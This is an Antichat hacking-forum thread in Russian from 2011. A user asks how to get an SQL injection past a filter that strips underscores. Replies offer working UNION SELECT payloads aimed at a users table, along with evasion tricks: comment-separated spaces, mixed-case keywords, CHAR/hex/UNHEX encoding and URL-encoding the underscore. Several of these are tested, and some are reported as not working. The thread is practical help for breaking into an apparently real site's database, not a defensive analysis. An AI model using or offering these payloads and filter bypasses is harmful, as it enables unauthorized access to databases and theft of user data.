ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Фильтрация нижнего подчеркивания (https://forum.antichat.xyz/showthread.php?t=309983)

listika 24.12.2011 16:19

Перерыла весь интернет, а толку ноль

Надеюсь, что здесь смогут подсказать.

Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.

Например запрос вида: id=-480+union+select+user_id,2+from+users+--

Отбросится все начиная с _id,2+from+users+--

И в итоге запрос не исполнится.

Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?

aydin-ka 24.12.2011 16:21

Используй Limit

id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --

И каждый раз меняешь LIMIT 0,1 -- и .тд

P.S: кажется я вопроса не понял...

Обойти фильтр такими способами

1) вместо + пиши /**/

2) union = UnIoN

и .тд

listika 24.12.2011 16:27

Видимо не поняли...

Такое проходит, без подчеркивания:

id=-480+union+select+user,2+from+users+--

А с подчеркиванием режет, не проходит:

id=-480+union+select+user_id,2+from+users+--

Все что после подчеркивания вырезается.

Остается id=-480+union+select+user

Лимит и др тут не причем.

aydin-ka 24.12.2011 17:02

Здесь режется _

Попробуйте закодировать. Функция CHAR()

nikp 24.12.2011 17:14

Цитата:

Сообщение от listika
Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.
Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?

Предположим исходный запрос

Код:

select field_name from table_name
для MySql эквивалентным будет

Код:

select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

=======

UPD

Совет не верный.

aydin-ka 24.12.2011 17:18

nikp а так можно? или опять резать будет?

id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--

Ereee 24.12.2011 17:26

Цитата:

Сообщение от aydin-ka
nikp
а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--

Будет резать. ТС, пробуй:

id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --

listika 24.12.2011 17:37

Функция CHAR() никак не помогает, выводится константа раскодированная в итоге

Expl0ited 24.12.2011 17:37

Цитата:

Сообщение от nikp
Предположим исходный запрос
Код:

select field_name from table_name
для MySql эквивалентным будет
Код:

select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.

listika 24.12.2011 17:39

Цитата:

Сообщение от Expl0ited
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

все верно, так и возвращает...


Время: 04:49